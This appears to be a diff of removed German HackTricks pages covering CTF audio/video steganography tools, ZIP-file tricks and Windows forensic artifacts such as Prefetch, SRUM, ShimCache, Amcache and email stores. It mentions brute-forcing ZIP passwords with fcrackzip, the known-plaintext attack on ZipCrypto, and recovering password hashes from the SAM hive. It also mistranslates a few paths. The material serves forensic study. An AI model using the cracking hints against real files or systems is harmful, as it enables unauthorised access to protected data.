Für Audioherausforderungen sticht **[Audacity](http://www.audacityteam.org/)** als erstklassiges Werkzeug zum Anzeigen von Wellenformen und Analysieren von Spektrogrammen hervor, was entscheidend ist, um in Audio codierten Text aufzudecken. **[Sonic Visualiser](http://www.sonicvisualiser.org/)** wird für eine detaillierte Spektrogrammanalyse dringend empfohlen. **Audacity** ermöglicht die Manipulation von Audio, wie das Verlangsamen oder Rückwärtsabspielen von Tracks, um versteckte Nachrichten zu erkennen. **[Sox](http://sox.sourceforge.net/)**, ein Kommandozeilenwerkzeug, glänzt beim Konvertieren und Bearbeiten von Audiodateien.
|
||||
|
||||
Die Manipulation der **Least Significant Bits (LSB)** ist eine gängige Technik in der Audio- und Video-Steganographie, die die festen Größen von Mediendateien ausnutzt, um Daten diskret einzubetten. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** ist nützlich zum Dekodieren von Nachrichten, die als **DTMF-Töne** oder **Morsecode** verborgen sind.
|
||||
|
||||
Videoherausforderungen beinhalten oft Containerformate, die Audio- und Videostreams bündeln. **[FFmpeg](http://ffmpeg.org/)** ist das bevorzugte Werkzeug zur Analyse und Manipulation dieser Formate, das in der Lage ist, Inhalte zu demultiplexen und wiederzugeben. Für Entwickler integriert **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** die Fähigkeiten von FFmpeg in Python für fortgeschrittene skriptbare Interaktionen.
|
||||
|
||||
Diese Vielzahl von Werkzeugen unterstreicht die Vielseitigkeit, die in CTF-Herausforderungen erforderlich ist, bei denen die Teilnehmer ein breites Spektrum an Analyse- und Manipulationstechniken einsetzen müssen, um versteckte Daten in Audio- und Videodateien aufzudecken.
|
||||
|
||||
## References
|
||||
|
||||
- [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,21 +0,0 @@
|
||||
# ZIPs Tricks
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Befehlszeilenwerkzeuge** zur Verwaltung von **Zip-Dateien** sind entscheidend für die Diagnose, Reparatur und das Knacken von Zip-Dateien. Hier sind einige wichtige Dienstprogramme:
|
||||
|
||||
- **`unzip`**: Zeigt an, warum eine Zip-Datei möglicherweise nicht dekomprimiert werden kann.
|
||||
- **`zipdetails -v`**: Bietet eine detaillierte Analyse der Felder im Zip-Dateiformat.
|
||||
- **`zipinfo`**: Listet den Inhalt einer Zip-Datei auf, ohne sie zu extrahieren.
|
||||
- **`zip -F input.zip --out output.zip`** und **`zip -FF input.zip --out output.zip`**: Versuchen, beschädigte Zip-Dateien zu reparieren.
|
||||
- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Ein Tool zum Brute-Force-Knacken von Zip-Passwörtern, effektiv für Passwörter von bis zu etwa 7 Zeichen.
|
||||
|
||||
Die [Zip-Dateiformatspezifikation](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) bietet umfassende Details zur Struktur und zu den Standards von Zip-Dateien.
|
||||
|
||||
Es ist wichtig zu beachten, dass passwortgeschützte Zip-Dateien **keine Dateinamen oder Dateigrößen** innerhalb verschlüsseln, ein Sicherheitsmangel, der bei RAR- oder 7z-Dateien nicht auftritt, die diese Informationen verschlüsseln. Darüber hinaus sind Zip-Dateien, die mit der älteren ZipCrypto-Methode verschlüsselt sind, anfällig für einen **Plaintext-Angriff**, wenn eine unverschlüsselte Kopie einer komprimierten Datei verfügbar ist. Dieser Angriff nutzt den bekannten Inhalt, um das Passwort der Zip-Datei zu knacken, eine Schwachstelle, die in [HackThis's Artikel](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) und weiter in [diesem akademischen Papier](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf) erklärt wird. Zip-Dateien, die mit **AES-256**-Verschlüsselung gesichert sind, sind jedoch immun gegen diesen Plaintext-Angriff, was die Bedeutung der Wahl sicherer Verschlüsselungsmethoden für sensible Daten verdeutlicht.
|
||||
|
||||
## Referenzen
|
||||
|
||||
- [https://michael-myers.github.io/blog/categories/ctf/](https://michael-myers.github.io/blog/categories/ctf/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,496 +0,0 @@
|
||||
# Windows Artefakte
|
||||
|
||||
## Windows Artefakte
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Generische Windows Artefakte
|
||||
|
||||
### Windows 10 Benachrichtigungen
|
||||
|
||||
Im Pfad `\Users\<username>\AppData\Local\Microsoft\Windows\Notifications` finden Sie die Datenbank `appdb.dat` (vor dem Windows Jubiläum) oder `wpndatabase.db` (nach dem Windows Jubiläum).
|
||||
|
||||
In dieser SQLite-Datenbank finden Sie die Tabelle `Notification` mit allen Benachrichtigungen (im XML-Format), die interessante Daten enthalten können.
|
||||
|
||||
### Zeitachse
|
||||
|
||||
Die Zeitachse ist ein Windows-Feature, das eine **chronologische Historie** der besuchten Webseiten, bearbeiteten Dokumente und ausgeführten Anwendungen bereitstellt.
|
||||
|
||||
Die Datenbank befindet sich im Pfad `\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`. Diese Datenbank kann mit einem SQLite-Tool oder mit dem Tool [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **geöffnet werden, das 2 Dateien generiert, die mit dem Tool** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md) **geöffnet werden können.**
|
||||
|
||||
### ADS (Alternative Datenströme)
|
||||
|
||||
Heruntergeladene Dateien können den **ADS Zone.Identifier** enthalten, der angibt, **wie** sie **heruntergeladen** wurden, z. B. aus dem Intranet, Internet usw. Einige Software (wie Browser) fügt normalerweise sogar **mehr** **Informationen** hinzu, wie die **URL**, von der die Datei heruntergeladen wurde.
|
||||
|
||||
## **Dateisicherungen**
|
||||
|
||||
### Papierkorb
|
||||
|
||||
In Vista/Win7/Win8/Win10 befindet sich der **Papierkorb** im Ordner **`$Recycle.bin`** im Stammverzeichnis des Laufwerks (`C:\$Recycle.bin`).\
|
||||
Wenn eine Datei in diesem Ordner gelöscht wird, werden 2 spezifische Dateien erstellt:
|
||||
|
||||
- `$I{id}`: Dateiinformationen (Datum, an dem sie gelöscht wurde)
|
||||
- `$R{id}`: Inhalt der Datei
|
||||
|
||||
.png>)
|
||||
|
||||
Mit diesen Dateien können Sie das Tool [**Rifiuti**](https://github.com/abelcheung/rifiuti2) verwenden, um die ursprüngliche Adresse der gelöschten Dateien und das Datum, an dem sie gelöscht wurden, zu erhalten (verwenden Sie `rifiuti-vista.exe` für Vista – Win10).
|
||||
```
|
||||
.\rifiuti-vista.exe C:\Users\student\Desktop\Recycle
|
||||
```
|
||||
 (1) (1) (1).png>)
|
||||
|
||||
### Volume Shadow Copies
|
||||
|
||||
Shadow Copy ist eine Technologie, die in Microsoft Windows enthalten ist und **Sicherungs kopien** oder Snapshots von Computerdateien oder -volumes erstellen kann, selbst wenn sie verwendet werden.
|
||||
|
||||
Diese Sicherungen befinden sich normalerweise im `\System Volume Information` im Stammverzeichnis des Dateisystems, und der Name besteht aus **UIDs**, die im folgenden Bild angezeigt werden:
|
||||
|
||||
.png>)
|
||||
|
||||
Durch das Einbinden des forensischen Images mit dem **ArsenalImageMounter** kann das Tool [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) verwendet werden, um eine Schattenkopie zu inspizieren und sogar **die Dateien** aus den Schattenkopie-Sicherungen **extrahieren**.
|
||||
|
||||
.png>)
|
||||
|
||||
Der Registrierungseintrag `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` enthält die Dateien und Schlüssel **zum Nicht-Sichern**:
|
||||
|
||||
.png>)
|
||||
|
||||
Die Registrierung `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` enthält ebenfalls Konfigurationsinformationen über die `Volume Shadow Copies`.
|
||||
|
||||
### Office AutoSaved Files
|
||||
|
||||
Die automatisch gespeicherten Office-Dateien finden Sie unter: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
|
||||
|
||||
## Shell Items
|
||||
|
||||
Ein Shell-Element ist ein Element, das Informationen darüber enthält, wie auf eine andere Datei zugegriffen werden kann.
|
||||
|
||||
### Recent Documents (LNK)
|
||||
|
||||
Windows **erstellt automatisch** diese **Verknüpfungen**, wenn der Benutzer **eine Datei öffnet, verwendet oder erstellt** in:
|
||||
|
||||
- Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
|
||||
- Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
|
||||
|
||||
Wenn ein Ordner erstellt wird, wird auch ein Link zu dem Ordner, zum übergeordneten Ordner und zum Großelternordner erstellt.
|
||||
|
||||
Diese automatisch erstellten Linkdateien **enthalten Informationen über den Ursprung**, wie ob es sich um eine **Datei** **oder** einen **Ordner** handelt, **MAC** **Zeiten** dieser Datei, **Volumeninformationen**, wo die Datei gespeichert ist, und **Ordner der Zieldatei**. Diese Informationen können nützlich sein, um diese Dateien wiederherzustellen, falls sie entfernt wurden.
|
||||
|
||||
Außerdem ist das **Erstellungsdatum des Links** die erste **Zeit**, zu der die Originaldatei **zum ersten Mal** **verwendet** wurde, und das **Änderungsdatum** der Linkdatei ist die **letzte** **Zeit**, zu der die Ursprungsdatei verwendet wurde.
|
||||
|
||||
Um diese Dateien zu inspizieren, können Sie [**LinkParser**](http://4discovery.com/our-tools/) verwenden.
|
||||
|
||||
In diesem Tool finden Sie **2 Sätze** von Zeitstempeln:
|
||||
|
||||
- **Erster Satz:**
|
||||
1. FileModifiedDate
|
||||
2. FileAccessDate
|
||||
3. FileCreationDate
|
||||
- **Zweiter Satz:**
|
||||
1. LinkModifiedDate
|
||||
2. LinkAccessDate
|
||||
3. LinkCreationDate.
|
||||
|
||||
Der erste Satz von Zeitstempeln bezieht sich auf die **Zeitstempel der Datei selbst**. Der zweite Satz bezieht sich auf die **Zeitstempel der verlinkten Datei**.
|
||||
|
||||
Sie können die gleichen Informationen erhalten, indem Sie das Windows-CLI-Tool [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) ausführen.
|
||||
```
|
||||
LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
|
||||
```
|
||||
In diesem Fall werden die Informationen in einer CSV-Datei gespeichert.
|
||||
|
||||
### Jumplists
|
||||
|
||||
Dies sind die zuletzt verwendeten Dateien, die pro Anwendung angezeigt werden. Es ist die Liste der **zuletzt von einer Anwendung verwendeten Dateien**, auf die Sie in jeder Anwendung zugreifen können. Sie können **automatisch oder benutzerdefiniert** erstellt werden.
|
||||
|
||||
Die **jumplists**, die automatisch erstellt werden, werden in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\` gespeichert. Die jumplists sind nach dem Format `{id}.autmaticDestinations-ms` benannt, wobei die ursprüngliche ID die ID der Anwendung ist.
|
||||
|
||||
Die benutzerdefinierten jumplists werden in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` gespeichert und werden normalerweise von der Anwendung erstellt, weil etwas **Wichtiges** mit der Datei passiert ist (vielleicht als Favorit markiert).
|
||||
|
||||
Die **Erstellungszeit** einer jumplist gibt die **erste Zeit an, zu der die Datei aufgerufen wurde**, und die **Änderungszeit die letzte Zeit**.
|
||||
|
||||
Sie können die jumplists mit [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md) untersuchen.
|
||||
|
||||
.png>)
|
||||
|
||||
(_Beachten Sie, dass die von JumplistExplorer bereitgestellten Zeitstempel sich auf die jumplist-Datei selbst beziehen_)
|
||||
|
||||
### Shellbags
|
||||
|
||||
[**Folgen Sie diesem Link, um zu erfahren, was die Shellbags sind.**](interesting-windows-registry-keys.md#shellbags)
|
||||
|
||||
## Verwendung von Windows-USBs
|
||||
|
||||
Es ist möglich zu identifizieren, dass ein USB-Gerät verwendet wurde, dank der Erstellung von:
|
||||
|
||||
- Windows Recent Folder
|
||||
- Microsoft Office Recent Folder
|
||||
- Jumplists
|
||||
|
||||
Beachten Sie, dass einige LNK-Dateien anstelle des ursprünglichen Pfades auf den WPDNSE-Ordner verweisen:
|
||||
|
||||
.png>)
|
||||
|
||||
Die Dateien im WPDNSE-Ordner sind eine Kopie der ursprünglichen, überstehen also keinen Neustart des PCs, und die GUID wird aus einer Shellbag entnommen.
|
||||
|
||||
### Registrierungsinformationen
|
||||
|
||||
[Überprüfen Sie diese Seite, um zu erfahren](interesting-windows-registry-keys.md#usb-information), welche Registrierungs-Schlüssel interessante Informationen über angeschlossene USB-Geräte enthalten.
|
||||
|
||||
### setupapi
|
||||
|
||||
Überprüfen Sie die Datei `C:\Windows\inf\setupapi.dev.log`, um die Zeitstempel zu erhalten, wann die USB-Verbindung hergestellt wurde (suchen Sie nach `Section start`).
|
||||
|
||||
 (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>)
|
||||
|
||||
### USB Detective
|
||||
|
||||
[**USBDetective**](https://usbdetective.com) kann verwendet werden, um Informationen über die USB-Geräte zu erhalten, die mit einem Bild verbunden wurden.
|
||||
|
||||
.png>)
|
||||
|
||||
### Plug and Play Cleanup
|
||||
|
||||
Die geplante Aufgabe, die als 'Plug and Play Cleanup' bekannt ist, dient hauptsächlich der Entfernung veralteter Treiberversionen. Entgegen ihrem angegebenen Zweck, die neueste Treiberpaketversion beizubehalten, deuten Online-Quellen darauf hin, dass sie auch Treiber anvisiert, die seit 30 Tagen inaktiv sind. Folglich können Treiber für abnehmbare Geräte, die in den letzten 30 Tagen nicht verbunden waren, gelöscht werden.
|
||||
|
||||
Die Aufgabe befindet sich unter folgendem Pfad:
|
||||
`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`.
|
||||
|
||||
Ein Screenshot, der den Inhalt der Aufgabe zeigt, ist bereitgestellt:
|
||||

|
||||
|
||||
**Wichtige Komponenten und Einstellungen der Aufgabe:**
|
||||
|
||||
- **pnpclean.dll**: Diese DLL ist für den eigentlichen Bereinigungsprozess verantwortlich.
|
||||
- **UseUnifiedSchedulingEngine**: Auf `TRUE` gesetzt, was die Verwendung der generischen Aufgabenplanung anzeigt.
|
||||
- **MaintenanceSettings**:
|
||||
- **Period ('P1M')**: Weist den Task Scheduler an, die Bereinigungsaufgabe monatlich während der regulären automatischen Wartung zu starten.
|
||||
- **Deadline ('P2M')**: Weist den Task Scheduler an, die Aufgabe während der Notfallautomatik-Wartung auszuführen, wenn die Aufgabe zwei Monate hintereinander fehlschlägt.
|
||||
|
||||
Diese Konfiguration gewährleistet eine regelmäßige Wartung und Bereinigung der Treiber, mit Bestimmungen für einen erneuten Versuch der Aufgabe im Falle aufeinanderfolgender Fehler.
|
||||
|
||||
**Für weitere Informationen siehe:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
|
||||
|
||||
## E-Mails
|
||||
|
||||
E-Mails enthalten **2 interessante Teile: Die Header und den Inhalt** der E-Mail. In den **Headern** finden Sie Informationen wie:
|
||||
|
||||
- **Wer** die E-Mails gesendet hat (E-Mail-Adresse, IP, Mail-Server, die die E-Mail umgeleitet haben)
|
||||
- **Wann** die E-Mail gesendet wurde
|
||||
|
||||
Außerdem finden Sie in den Headern `References` und `In-Reply-To` die ID der Nachrichten:
|
||||
|
||||
.png>)
|
||||
|
||||
### Windows Mail App
|
||||
|
||||
Diese Anwendung speichert E-Mails in HTML oder Text. Sie finden die E-Mails in Unterordnern innerhalb von `\Users\<username>\AppData\Local\Comms\Unistore\data\3\`. Die E-Mails werden mit der Erweiterung `.dat` gespeichert.
|
||||
|
||||
Die **Metadaten** der E-Mails und die **Kontakte** können in der **EDB-Datenbank** gefunden werden: `\Users\<username>\AppData\Local\Comms\UnistoreDB\store.vol`
|
||||
|
||||
**Ändern Sie die Erweiterung** der Datei von `.vol` in `.edb`, und Sie können das Tool [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) verwenden, um es zu öffnen. In der `Message`-Tabelle können Sie die E-Mails sehen.
|
||||
|
||||
### Microsoft Outlook
|
||||
|
||||
Wenn Exchange-Server oder Outlook-Clients verwendet werden, gibt es einige MAPI-Header:
|
||||
|
||||
- `Mapi-Client-Submit-Time`: Zeit des Systems, als die E-Mail gesendet wurde
|
||||
- `Mapi-Conversation-Index`: Anzahl der Kindnachrichten des Threads und Zeitstempel jeder Nachricht des Threads
|
||||
- `Mapi-Entry-ID`: Nachrichtenidentifikator.
|
||||
- `Mappi-Message-Flags` und `Pr_last_Verb-Executed`: Informationen über den MAPI-Client (Nachricht gelesen? nicht gelesen? geantwortet? umgeleitet? nicht im Büro?)
|
||||
|
||||
Im Microsoft Outlook-Client werden alle gesendeten/empfangenen Nachrichten, Kontaktdaten und Kalenderdaten in einer PST-Datei gespeichert in:
|
||||
|
||||
- `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP)
|
||||
- `%USERPROFILE%\AppData\Local\Microsoft\Outlook`
|
||||
|
||||
Der Registrierungs-Pfad `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` zeigt die verwendete Datei an.
|
||||
|
||||
Sie können die PST-Datei mit dem Tool [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html) öffnen.
|
||||
|
||||
.png>)
|
||||
|
||||
### Microsoft Outlook OST-Dateien
|
||||
|
||||
Eine **OST-Datei** wird von Microsoft Outlook erstellt, wenn es mit einem **IMAP**- oder **Exchange**-Server konfiguriert ist und ähnliche Informationen wie eine PST-Datei speichert. Diese Datei wird mit dem Server synchronisiert und behält Daten für **die letzten 12 Monate** bis zu einer **maximalen Größe von 50 GB** und befindet sich im selben Verzeichnis wie die PST-Datei. Um eine OST-Datei anzuzeigen, kann der [**Kernel OST Viewer**](https://www.nucleustechnologies.com/ost-viewer.html) verwendet werden.
|
||||
|
||||
### Wiederherstellung von Anhängen
|
||||
|
||||
Verlorene Anhänge können möglicherweise wiederhergestellt werden aus:
|
||||
|
||||
- Für **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook`
|
||||
- Für **IE11 und höher**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`
|
||||
|
||||
### Thunderbird MBOX-Dateien
|
||||
|
||||
**Thunderbird** verwendet **MBOX-Dateien**, um Daten zu speichern, die sich unter `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles` befinden.
|
||||
|
||||
### Bildvorschauen
|
||||
|
||||
- **Windows XP und 8-8.1**: Der Zugriff auf einen Ordner mit Thumbnails erzeugt eine `thumbs.db`-Datei, die Bildvorschauen speichert, selbst nach der Löschung.
|
||||
- **Windows 7/10**: `thumbs.db` wird erstellt, wenn über ein Netzwerk über UNC-Pfad zugegriffen wird.
|
||||
- **Windows Vista und neuer**: Thumbnail-Vorschauen sind zentral in `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` mit Dateien namens **thumbcache_xxx.db** gespeichert. [**Thumbsviewer**](https://thumbsviewer.github.io) und [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) sind Tools zum Anzeigen dieser Dateien.
|
||||
|
||||
### Windows-Registrierungsinformationen
|
||||
|
||||
Die Windows-Registrierung, die umfangreiche System- und Benutzeraktivitätsdaten speichert, befindet sich in Dateien in:
|
||||
|
||||
- `%windir%\System32\Config` für verschiedene `HKEY_LOCAL_MACHINE`-Unterschlüssel.
|
||||
- `%UserProfile%{User}\NTUSER.DAT` für `HKEY_CURRENT_USER`.
|
||||
- Windows Vista und spätere Versionen sichern `HKEY_LOCAL_MACHINE`-Registrierungsdateien in `%Windir%\System32\Config\RegBack\`.
|
||||
- Darüber hinaus werden Informationen zur Programmausführung in `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` ab Windows Vista und Windows 2008 Server gespeichert.
|
||||
|
||||
### Tools
|
||||
|
||||
Einige Tools sind nützlich, um die Registrierungsdateien zu analysieren:
|
||||
|
||||
- **Registrierungs-Editor**: Es ist in Windows installiert. Es ist eine GUI, um durch die Windows-Registrierung der aktuellen Sitzung zu navigieren.
|
||||
- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Es ermöglicht Ihnen, die Registrierungsdatei zu laden und durch sie mit einer GUI zu navigieren. Es enthält auch Lesezeichen, die Schlüssel mit interessanten Informationen hervorheben.
|
||||
- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Es hat ebenfalls eine GUI, die es ermöglicht, durch die geladene Registrierung zu navigieren und enthält auch Plugins, die interessante Informationen innerhalb der geladenen Registrierung hervorheben.
|
||||
- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Eine weitere GUI-Anwendung, die in der Lage ist, wichtige Informationen aus der geladenen Registrierung zu extrahieren.
|
||||
|
||||
### Wiederherstellung gelöschter Elemente
|
||||
|
||||
Wenn ein Schlüssel gelöscht wird, wird er als solcher markiert, aber bis der Platz, den er einnimmt, benötigt wird, wird er nicht entfernt. Daher ist es möglich, mit Tools wie **Registry Explorer** diese gelöschten Schlüssel wiederherzustellen.
|
||||
|
||||
### Letzte Schreibzeit
|
||||
|
||||
Jeder Schlüssel-Wert enthält einen **Zeitstempel**, der die letzte Zeit angibt, zu der er geändert wurde.
|
||||
|
||||
### SAM
|
||||
|
||||
Die Datei/Hive **SAM** enthält die **Benutzer, Gruppen und Benutzerpasswort**-Hashes des Systems.
|
||||
|
||||
In `SAM\Domains\Account\Users` können Sie den Benutzernamen, die RID, die letzte Anmeldung, die letzte fehlgeschlagene Anmeldung, den Anmeldezähler, die Passwort-Richtlinie und wann das Konto erstellt wurde, abrufen. Um die **Hashes** zu erhalten, benötigen Sie auch die Datei/Hive **SYSTEM**.
|
||||
|
||||
### Interessante Einträge in der Windows-Registrierung
|
||||
|
||||
{{#ref}}
|
||||
interesting-windows-registry-keys.md
|
||||
{{#endref}}
|
||||
|
||||
## Ausgeführte Programme
|
||||
|
||||
### Grundlegende Windows-Prozesse
|
||||
|
||||
In [diesem Beitrag](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) können Sie mehr über die gängigen Windows-Prozesse erfahren, um verdächtiges Verhalten zu erkennen.
|
||||
|
||||
### Windows Recent APPs
|
||||
|
||||
Innerhalb der Registrierung `NTUSER.DAT` im Pfad `Software\Microsoft\Current Version\Search\RecentApps` finden Sie Unterschlüssel mit Informationen über die **ausgeführte Anwendung**, **letzte Ausführungszeit** und **Anzahl der Starts**.
|
||||
|
||||
### BAM (Background Activity Moderator)
|
||||
|
||||
Sie können die Datei `SYSTEM` mit einem Registrierungseditor öffnen, und im Pfad `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` finden Sie Informationen über die **von jedem Benutzer ausgeführten Anwendungen** (beachten Sie das `{SID}` im Pfad) und **wann** sie ausgeführt wurden (die Zeit befindet sich im Datenwert der Registrierung).
|
||||
|
||||
### Windows Prefetch
|
||||
|
||||
Prefetching ist eine Technik, die es einem Computer ermöglicht, stillschweigend **die notwendigen Ressourcen abzurufen, die benötigt werden, um Inhalte anzuzeigen**, auf die ein Benutzer **in naher Zukunft zugreifen könnte**, damit Ressourcen schneller abgerufen werden können.
|
||||
|
||||
Windows Prefetch besteht darin, **Caches der ausgeführten Programme** zu erstellen, um sie schneller laden zu können. Diese Caches werden als `.pf`-Dateien im Pfad `C:\Windows\Prefetch` erstellt. Es gibt eine Begrenzung von 128 Dateien in XP/VISTA/WIN7 und 1024 Dateien in Win8/Win10.
|
||||
|
||||
Der Dateiname wird als `{program_name}-{hash}.pf` erstellt (der Hash basiert auf dem Pfad und den Argumenten der ausführbaren Datei). In W10 sind diese Dateien komprimiert. Beachten Sie, dass die bloße Anwesenheit der Datei anzeigt, dass **das Programm zu einem bestimmten Zeitpunkt ausgeführt wurde**.
|
||||
|
||||
Die Datei `C:\Windows\Prefetch\Layout.ini` enthält die **Namen der Ordner der Dateien, die vorab geladen werden**. Diese Datei enthält **Informationen über die Anzahl der Ausführungen**, **Daten** der Ausführung und **Dateien**, die **vom Programm geöffnet** wurden.
|
||||
|
||||
Um diese Dateien zu inspizieren, können Sie das Tool [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd) verwenden:
|
||||
```bash
|
||||
.\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder"
|
||||
```
|
||||
.png>)
|
||||
|
||||
### Superprefetch
|
||||
|
||||
**Superprefetch** hat dasselbe Ziel wie Prefetch, **Programme schneller zu laden**, indem vorhergesagt wird, was als Nächstes geladen wird. Es ersetzt jedoch nicht den Prefetch-Dienst.\
|
||||
Dieser Dienst generiert Datenbankdateien in `C:\Windows\Prefetch\Ag*.db`.
|
||||
|
||||
In diesen Datenbanken finden Sie den **Namen** des **Programms**, die **Anzahl** der **Ausführungen**, die **geöffneten** **Dateien**, das **zugreifende** **Volumen**, den **kompletten** **Pfad**, **Zeitrahmen** und **Zeitstempel**.
|
||||
|
||||
Sie können auf diese Informationen mit dem Tool [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/) zugreifen.
|
||||
|
||||
### SRUM
|
||||
|
||||
**System Resource Usage Monitor** (SRUM) **überwacht** die **Ressourcen**, die von einem **Prozess** **verbraucht** werden. Es erschien in W8 und speichert die Daten in einer ESE-Datenbank, die sich in `C:\Windows\System32\sru\SRUDB.dat` befindet.
|
||||
|
||||
Es gibt die folgenden Informationen:
|
||||
|
||||
- AppID und Pfad
|
||||
- Benutzer, der den Prozess ausgeführt hat
|
||||
- Gesendete Bytes
|
||||
- Empfangene Bytes
|
||||
- Netzwerk-Schnittstelle
|
||||
- Verbindungsdauer
|
||||
- Prozessdauer
|
||||
|
||||
Diese Informationen werden alle 60 Minuten aktualisiert.
|
||||
|
||||
Sie können das Datum aus dieser Datei mit dem Tool [**srum_dump**](https://github.com/MarkBaggett/srum-dump) abrufen.
|
||||
```bash
|
||||
.\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum
|
||||
```
|
||||
### AppCompatCache (ShimCache)
|
||||
|
||||
Der **AppCompatCache**, auch bekannt als **ShimCache**, ist Teil der **Application Compatibility Database**, die von **Microsoft** entwickelt wurde, um Probleme mit der Anwendungskompatibilität zu beheben. Diese Systemkomponente zeichnet verschiedene Stücke von Dateimetadaten auf, die Folgendes umfassen:
|
||||
|
||||
- Vollständiger Pfad der Datei
|
||||
- Größe der Datei
|
||||
- Letzte Änderungszeit unter **$Standard_Information** (SI)
|
||||
- Letzte Aktualisierungszeit des ShimCache
|
||||
- Prozessausführungsflag
|
||||
|
||||
Solche Daten werden im Registrierungseditor an bestimmten Orten basierend auf der Version des Betriebssystems gespeichert:
|
||||
|
||||
- Für XP werden die Daten unter `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` mit einer Kapazität von 96 Einträgen gespeichert.
|
||||
- Für Server 2003 sowie für Windows-Versionen 2008, 2012, 2016, 7, 8 und 10 ist der Speicherpfad `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, der jeweils 512 und 1024 Einträge aufnehmen kann.
|
||||
|
||||
Um die gespeicherten Informationen zu analysieren, wird das [**AppCompatCacheParser**-Tool](https://github.com/EricZimmerman/AppCompatCacheParser) empfohlen.
|
||||
|
||||
.png>)
|
||||
|
||||
### Amcache
|
||||
|
||||
Die **Amcache.hve**-Datei ist im Wesentlichen ein Registrierungs-Hive, der Details über Anwendungen protokolliert, die auf einem System ausgeführt wurden. Sie befindet sich typischerweise unter `C:\Windows\AppCompat\Programas\Amcache.hve`.
|
||||
|
||||
Diese Datei ist bemerkenswert, da sie Aufzeichnungen über kürzlich ausgeführte Prozesse speichert, einschließlich der Pfade zu den ausführbaren Dateien und deren SHA1-Hashes. Diese Informationen sind von unschätzbarem Wert für die Verfolgung der Aktivitäten von Anwendungen auf einem System.
|
||||
|
||||
Um die Daten aus **Amcache.hve** zu extrahieren und zu analysieren, kann das [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser)-Tool verwendet werden. Der folgende Befehl ist ein Beispiel dafür, wie man AmcacheParser verwendet, um den Inhalt der **Amcache.hve**-Datei zu parsen und die Ergebnisse im CSV-Format auszugeben:
|
||||
```bash
|
||||
AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder
|
||||
```
|
||||
Unter den generierten CSV-Dateien ist die `Amcache_Unassociated file entries` besonders bemerkenswert, da sie reichhaltige Informationen über nicht zugeordnete Dateieinträge bietet.
|
||||
|
||||
Die interessanteste CVS-Datei, die generiert wurde, ist die `Amcache_Unassociated file entries`.
|
||||
|
||||
### RecentFileCache
|
||||
|
||||
Dieses Artefakt ist nur in W7 unter `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` zu finden und enthält Informationen über die kürzliche Ausführung einiger Binärdateien.
|
||||
|
||||
Sie können das Tool [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) verwenden, um die Datei zu analysieren.
|
||||
|
||||
### Geplante Aufgaben
|
||||
|
||||
